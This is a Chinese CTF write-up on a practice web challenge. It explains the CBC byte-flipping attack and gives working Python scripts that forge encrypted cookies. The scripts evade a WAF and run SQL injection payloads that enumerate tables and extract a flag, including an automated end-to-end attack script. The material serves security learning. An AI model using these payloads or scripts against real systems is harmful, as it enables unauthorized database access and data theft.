简单登录题-关于CBC字节翻转攻击

以下内容主要参考pcat的writeup,并加入个人的一点理解。

一、题目概况

1、题目

CTF实验吧的一道题目,比较有意思,记下来以供回顾。URL:http://ctf5.shiyanbar.com/web/jiandan/index.php,进入后显示

无论输什么id,均返回:Hello!

2、入手

在进入登录界面时抓包,看响应中有提示:tips:test.php

则登录http://ctf5.shiyanbar.com/web/jiandan/test.php,查看源代码:

该代码功能大致如下:

       1、如果id不为空,则根据接收到的id生成数组info[‘id’: id值]。将该数组进行序列化之后,以序列化结果和一个随机数iv进行cbc加密生成密文cipher,加密算法为"aes-128-cbc"。最后在响应中将cookie设为iv和cipher(这两个值均先base64编码,再URL编码)。以上由test.php中的主代码和login()函数完成。

       2、如果id为空,则根据报文头cookie里的iv和cipher值进行解密,并将解密结果反向序列化之后恢复出info,进而得到id值$info['id'],并执行以下查询:

              sql="select * from users limit ".$info['id'].",0";

        以上由test.php中的主代码和show_homepage()函数完成。

       3、可以看到,由于limit第二个参数为0,则无论id是什么均不会返回结果,但如果能利用id进行注入,则可以获得我们想要的结果。

       4、利用id注入的关键是绕过test代码中的防火墙sqliCheck($str):

                    preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)

       该代码过滤了绝大多数特殊字符,如:-、#、=、~ 、union、like、procedure。因此要直接通过id注入较难。但是可以看到代码中并没有对解密后的id进行过滤,因此我们可以利用cbc字节翻转攻击更改cipher,并进而更改解密后id,从而绕过防火墙。

 二、cbc字节翻转攻击的基本原理

1、cbc解密过程

       如图:

       可以看到明文的生成是先对密文分组解密后,再异或上一组密文后得到。因此,如果我们能更改上一组密文,则可以更改明文。

 2、cbc攻击原理

       1)设明文原文为P_old,要更改为P_new;上一组密文原文为C_old,要更改为C_new;,密文解密后和上一组密文异或前的中间数据为M。

        如果我们能将C_new设置为:

                 C_new = C_old ⊕ P_old ⊕ P_new   ---- 公式 1

         由于

                  P_old = M ⊕ C_old

       则有

                  M ⊕ C_new = M ⊕ C_old ⊕ P_old ⊕ P_new

                  = P_old ⊕ P_old ⊕ P_new = P_new

       则可以得到P_new

        2)以第二组明文的更改为例,由于C_old(即cipher以128位(或16字节)分组的第二组)、P_old(即数组info序列化后明文的第二组)、P_new(要更改的明文)都已知,因此可以通过公式1得到C_new,并执行cbc字节翻转攻击。

        3)由于第一组密文被更改,因此第一组明文也相应改变,此时反序列化会失败。因此还需要根据同样原理将第一组明文改回来,此时可以将iv进行改变(类似C_old与C_new),并进而改变第一组明文。有:

              iv_new = iv_old ⊕ P_old ⊕ P_new      —— 公式2

此时iv_old为第一次生成的iv,P_old为序列化失败后返回的明文的第一组(前16字节),P_new为需要改变的明文(即正确的序列化数据的第一组,也就是第一次的info序列化后的前16字节)。

        4)一些注意事项

             a)iv和cipher解密前都要先URL解码,再b64解码,同样加密前应先b64编码,再URL编码;

             b)第一组密文要改变的字符位置要和第二组明文中相对应,比如第二组明文中第四字节是2,要改成#,则第一组密文中也要改第四字节(即C_old[3]),即公式1实现形式为

                      C_old[3] = C_old[3] ⊕‘2’⊕‘#’

    实际操作中,要写一个php脚本对真实数据序列化后来判断偏移量。

三、攻击实际步骤

 1、首先验证cbc攻击是否可行

        构造id=12。目标是修改12为1#,这样就能注释掉sql查询中的“,0”。以id=12提交请求后记录cipher和iv:

 2、计算偏移量

       用以下的php脚本对数组序列化,并将结果按16字节长度进行分组后输出:

<?php

$id = "12";

$info = array('id'=>$id);

$plain = serialize($info);

$row=ceil(strlen($plain)/16);

for($i=0;$i<$row;$i++){

    echo substr($plain,$i*16,16).'';

}

?>

运行后显示:

a:1:{s:2:"id";s:

2:"12";}

可以看到,如果要将第二组明文中“12”的2改为#,则偏移量为4,则应对第一组密文同样偏移量的字节进行操作。

3、更改第一组密文

综上,更改第一组密文的python脚本如下,注意该脚本为python2.7环境:

# -*- coding:utf8 -*-

from base64 import *

import urllib

cipher='fn060OBP%2FyLIGYrD9bi%2FlWWAS9RIWvEtALaV26kuB%2F8%3D'

cipher_raw=b64decode(urllib.unquote(cipher))

lst=list(cipher_raw)

idx=4

c1='2'

c2='#'

lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))

cipher_new=''.join(lst)

cipher_new=urllib.quote(b64encode(cipher_new))

print cipher_new

运行脚本,得到cipher_new为:

            fn060PFP/yLIGYrD9bi/lWWAS9RIWvEtALaV26kuB/8%3D

4、更改iv

       将cipher_new的值赋给cookie的cipher,iv值不变,重新发送请求,此时由于第一组明文被改变,导致反序列化失败,响应如图:

       我们需要把响应中的内容(即改变密文后解密出的明文)记录下来,取前16字节按公式2进行操作以得到iv_new。脚本如下:

# -*- coding:utf8 -*-

__author__='pcat@chamd5.org'

from base64 import *

import urllib

iv='erUDGVSvM4Kab3ztg8vT8Q%3D%3D'

iv_raw=b64decode(urllib.unquote(iv))

first='a:1:{s:2:"id";s:'

plain=b64decode('eFoXA0j/x2Em/bhfgeLzXjI6IjEjIjt9')

iv_new=''

for i in range(16):

    iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))

iv_new=urllib.quote(b64encode(iv_new))

print iv_new

运行,得到iv_new为Y9UlIGcjztGGsK3WIBJTlQ%3D%3D

5、执行注入

      以iv_new替换原iv,和cipher_new一起重新提交,则可以看到已经返回所需要的结果,即rootzz(根据test.php中的查询脚本,应该是user表的username列的第一行值)。此时已经将12替换成1#,完成注入。

6、进一步注入

       1)查询显位

        但这个并不是flag,还需进一步注入。构造id为:

        0 2nion select * from((select 1)a join (select 2)b join (select 3)c);%00

        重复上面的步骤(注意改密文脚本中的idx、c1、c2此时分别为6、‘2’、‘u’),目标是将2union改为union。

       该payload的第一个0用于和sql语句“sql="select * from users limit ".$info['id'].",0";” 中的limit组合,使得查询前面部分返回结果集的数目为0,也即屏蔽掉“select * from users”部分。

       union查询用于查询显位(根据union查询原理,union查询select数必须与原查询表中字段数一致,此处已经暴力破解users表最大字段数为3。显位是指网页中哪些字段会被显示)。

         由于逗号会被过滤,此处用join替代,同时写法也相应改变。最后的“;%00”用于注释掉原sql中最后的“,0”。

         最后响应结果为Hello!2,因此显位为2。

     2)查询表名

       再次构造id:

 0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);%00

       重复上面步骤(注意由于payload长度改变,导致序列化后的长度改变,因此改密文脚本中的偏移量idx要改为7)。该payload是mysql环境下查询表名的注入语句,其中的=用regexp替代。

       得到响应结果为:Hello!users,you_want,即当前数据库有两个表为users和you_want,猜测flag在you_want表中。

      3)查询字段名

    再次构造id:

0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);%00

      用于查询you_want表中的column名称,此时偏移量依然为7。 

      返回Hello!users,value,可知只有一个字段value。

       4) 查询数据

       最后构造id:

0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);%00

       此时偏移量为6。 重复上面步骤,返回

            Hello!flag{c42b2b758a5a36228156d9d671c37f19}。

      注入成功,获得flag。

四、自动攻击脚本

      以上步骤的批量执行脚本如下。为适合自动化运行,此时的%00用chr(0)替代。

# -*- coding:utf8 -*-

# 请保留我的个人信息,谢谢~!

__author__='pcat@chamd5.org'

from base64 import *

import urllib

import requests

import re

def mydecode(value):

    return b64decode(urllib.unquote(value))

def myencode(value):

    return urllib.quote(b64encode(value))

def mycbc(value,idx,c1,c2):

    lst=list(value)

    lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))

    return ''.join(lst)

def pcat(payload,idx,c1,c2):

    url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'

    myd={'id':payload}

    res=requests.post(url,data=myd)

    cookies=res.headers['Set-Cookie']

    iv=re.findall(r'iv=(.*?),',cookies)[0]

    cipher=re.findall(r'cipher=(.*)',cookies)[0]

    iv_raw=mydecode(iv)

    cipher_raw=mydecode(cipher)

    cipher_new=myencode(mycbc(cipher_raw,idx,c1,c2))

    cookies_new={'iv':iv,'cipher':cipher_new}

    cont=requests.get(url,cookies=cookies_new).content

    plain=b64decode(re.findall(r"base64_decode\('(.*?)'\)",cont)[0])

    first='a:1:{s:2:"id";s:'

    iv_new=''

    for i in range(16):

        iv_new+=chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))

    iv_new=myencode(iv_new)

    cookies_new={'iv':iv_new,'cipher':cipher_new}

    cont=requests.get(url,cookies=cookies_new).content

    print 'Payload:%s\n>> ' %(payload)

    print cont

    pass

def foo():

    pcat('12',4,'2','#')

    pcat('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')

    pcat('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')

    pcat("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')

    pcat("0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);"+chr(0),6,'2','u')

    pass

if __name__ == '__main__':

    foo()

    print 'ok'

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,684评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,143评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,214评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,788评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,796评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,665评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,027评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,679评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 41,346评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,664评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,766评论 1 331
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,412评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,015评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,974评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,073评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,501评论 2 343